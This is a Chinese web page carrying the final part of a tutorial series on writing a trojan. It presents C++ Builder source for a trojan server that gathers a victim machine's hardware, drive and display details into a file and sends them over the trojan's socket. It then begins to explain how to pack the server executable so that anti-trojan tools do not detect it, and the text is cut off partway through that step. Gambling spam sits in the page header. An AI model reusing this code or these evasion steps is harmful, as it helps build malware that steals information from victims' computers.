欢迎来到-站长推荐微信σσ同步(接待77728849)9.9赔率信誉网(大额无忧,安全放心)加拿大pc群!
网站活动:
最热歌曲 : 异地的我们 - 恒恒 每日歌曲 : 阴阳极 - 苗小青      自己骗自己 - 张作甫      珍爱 - 王鹏      如果可以这样爱 - 边永城      金莲开开门 - 华少瑞明     
当前位置: 首页 > MIDI信息 > 技术 >

透视木马程序开发技术:病毒源代码详解(下)

时间:2019-05-30 04:13来源:网络整理 作者:管理员 点击:

上两期我们推出《透视木马程序开发技术:病毒源代码详解(上)》和《透视木马程序开发技术:病毒源代码详解(中)》这期我们推出这个系列的最后一部份,希望能对你了解木马技术以便安全的管理你的计算机提供一定的帮助。

  6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen("temp.had","w+");

  //TODO: Add your source code here

  //获得CPU型号

  SYSTEM_INFO systeminfo;

  GetSystemInfo (&systeminfo);

  cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

  //5—CD-ROM、6—内存虚拟盘

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

  if(type==0){

  cs="未知类型磁盘:"+String(name)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==2){

  cs="可移动类型磁盘:"+String(name)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==3){

  cs="固定磁盘:"+String(name)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

}

  else if(type==4) {

  cs="网络映射磁盘:"+String(name)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==5){

  cs="光驱:"+String(name)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==6){

  cs="内存虚拟磁盘:"+String(name)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)){

  cs=String(name)+"盘卷标为:"+String(volname)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+"盘序号为:"+String(sno)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

  totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

  freespace=int(free)*byte*sector/1024/1024; //计算可用空间

  cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs="当前波形设备:"+String(wavecap.szPname)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs="当前MIDI设备:"+String(midicap.szPname)+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"\ ";

fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //计算色彩的梯度数

  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //计算色深

  AnsiString sss;

  sss=bpp;

  cs="当前色深为:"+sss+"\ ";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName="temp.had";

  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

  进入Windows的命令行模式下做如下操作

  1)C:\\>copy Server.Exe Server.Bak

  2)建立一个文本文件Test.Txt,其内容为“”

  3)C:\\>type Text.Txt>>Server.Exe

  4)运行Server.Exe

(责任编辑:admin)

  • 共3页:
  • 上一页
  • 1
  • 2
  • 3
  • 下一页
数据统计中,请稍等!
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
              
  • 听听小编为您选的歌曲吧